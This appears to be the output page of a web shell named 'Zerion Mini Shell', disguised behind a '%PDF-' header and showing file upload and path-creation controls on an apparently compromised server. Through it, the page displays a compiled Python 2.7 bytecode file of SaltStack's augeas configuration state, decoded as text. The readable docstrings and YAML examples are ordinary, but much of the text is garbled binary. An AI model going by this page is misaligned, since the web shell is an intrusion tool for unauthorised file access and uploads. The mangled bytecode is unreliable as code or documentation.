%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/augeas.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	Z	ddl
ZddlZddl
ZddlmZddlmZeje�Zd�Zd�Zd�Zddddd	�ZdS(
ut
Configuration management using Augeas

.. versionadded:: 0.17.0

This state requires the ``augeas`` Python module.

.. _Augeas: http://augeas.net/

Augeas_ can be used to manage configuration files.

.. warning::

    Minimal installations of Debian and Ubuntu have been seen to have packaging
    bugs with python-augeas, causing the augeas module to fail to import. If
    the minion has the augeas module installed, and the state fails with a
    comment saying that the state is unavailable, first restart the salt-minion
    service. If the problem persists past that, the following command can be
    run from the master to determine what is causing the import to fail:

    .. code-block:: bash

        salt minion-id cmd.run 'python -c "from augeas import Augeas"'

    For affected Debian/Ubuntu hosts, installing ``libpython2.7`` has been
    known to resolve the issue.

i(tabsolute_importtprint_functiontunicode_literalsN(tsix(t
METHOD_MAPcC@sdtkrdStS(Nuaugeas.executeuaugeas(t__salt__tFalse(((s6/usr/lib/python2.7/site-packages/salt/states/augeas.pyt__virtual__1scC@sQtjj|�s|dkr7|dkr3d}n|Sttjj|��SdS(uA
    Recursively workout the file name from an augeas change
    u/N(tostpathtisfiletNonet_workout_filenametdirname(tfilename((s6/usr/lib/python2.7/site-packages/salt/states/augeas.pyR5s
	cC@s�d}x�|D]|}y|jdd�\}}|tkrXdj|�}t|��nt|}tjjj|�}|dkr�|d}n|\}	}	}|j	d	�s�d
j|�}t|��nt
jdd|�}|dk	r||krd
j||�}t|��qn|}Wq
ttfk
r�}
t
j|
�dt�krjdj|�}ntj|
�}t|��q
Xq
Wt|�}|S(u�
    Ensure all changes are fully qualified and affect only one file.
    This ensures that the diff output works and a state change is not
    incorrectly reported.
    u iu"Command {0} is not supported (yet)usetusetmumoveuremoveiu/filesuMChanges should be prefixed with /files if no context is provided, change: {0}u
^/files|/$uuMChanges should be made to one file at a time, detected changes to {0} and {1}uerroru9Invalid formatted command, see debug log for details: {0}N(usetusetmumoveuremove(RtsplitRtformatt
ValueErrortsalttutilstargstshlex_splitt
startswithtretsubt
IndexErrortlogterrortlocalsRt	text_typeR(tchangesRtchange_tcmdtargRtmethodtpartst	filename_t_terr((s6/usr/lib/python2.7/site-packages/salt/states/augeas.pyt_check_filepathAs@


	

cK@s�i|d6td6dd6id6}|s9t|t�rGd|d<|S|dk	r�t|t�spd|d<|Sdj|�}nd}|dkr�yt|�}Wq�tk
r�}d	j|�|d<|SXntj	d
d|�}t
drCt|d<d|d<|r&|dcd
j|�7<n|dcdj|�7<|Sg}	|dk	r�tj
j|�r�tjjj|d��5}
g|
j�D]}tjjj|�^q�}	WdQXntdd|d|d|d|�}|d|d<|dtkrd	j|d�|d<|S|dk	r�tj
j|�r�tjjj|d��V}
g|
j�D]}tjjj|�^q]}
djtj|	|
dd��}WdQX|r�d|d<i|d6|d<q�d|d<nd|d<i|d6|d<|S(uS
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        A file path, prefixed by ``/files``. Should resolve to an actual file
        (not an arbitrary augeas path). This is used to avoid duplicating the
        file name for each item in the changes list (for example, ``set bind 0.0.0.0``
        in the example below operates on the file specified by ``context``). If
        ``context`` is not specified, a file path prefixed by ``/files`` should be
        included with the ``set`` command.

        The file path is examined to determine if the
        specified changes are already present.

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``setm``, ``mv``/``move``, ``ins``/``insert``, and
        ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`.
        See the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.

    .. versionadded:: 2016.3.0

    load_path
        A list of directories that modules should be searched in. This is in
        addition to the standard load path and the directories in
        AUGEAS_LENS_LIB.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis.lns
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services.lns
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] "zabbix-agent"
              - set "service-name[. = 'zabbix-agent']/port" 10050
              - set "service-name[. = 'zabbix-agent']/protocol" tcp
              - set "service-name[. = 'zabbix-agent']/#comment" "Zabbix Agent service"
              - rm "service-name[. = 'im-obsolete']"
            - unless: grep "zabbix-agent" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise it will fail on next runs
        because the service is already defined. Additionally you have to quote
        lines containing ``service-name[. = 'zabbix-agent']`` otherwise
        :mod:`augeas_cfg <salt.modules.augeas_cfg>` execute will fail because
        it will receive more parameters than expected.

    .. note::

        Order is important when defining a service with Augeas, in this case
        it's ``port``, ``protocol`` and ``#comment``. For more info about
        the lens check `services lens documentation`_.

    .. _services lens documentation:

    http://augeas.net/docs/references/lenses/files/services-aug.html#Services.record

    unameuresultuucommentuchangesu%'changes' must be specified as a listu''load_path' must be specified as a listu:u
Error: {0}u
^/files|/$utestuExecuting commandsu in file "{0}":
u
urNuaugeas.executetcontexttlenstcommandst	load_pathuretvaluerrortniuChanges have been savedudiffuNo changes madeuupdates(Rt
isinstancetlistRtjoinR'RRRRt__opts__tTrueRR	R
RRtfilestfopent	readlineststringutilst
to_unicodeRtdifflibtunified_diff(tnameR(RR)R+tkwargstretRR&told_filetfile_txtresulttnew_filetdiff((s6/usr/lib/python2.7/site-packages/salt/states/augeas.pytchangeqsb�"




4
+!


(t__doc__t
__future__RRRRtos.pathRtloggingR7tsalt.utils.argsRtsalt.utils.filestsalt.utils.stringutilstsalt.extRtsalt.modules.augeas_cfgRt	getLoggert__name__RRRR'RRB(((s6/usr/lib/python2.7/site-packages/salt/states/augeas.pyt<module>s 			0	

Zerion Mini Shell 1.0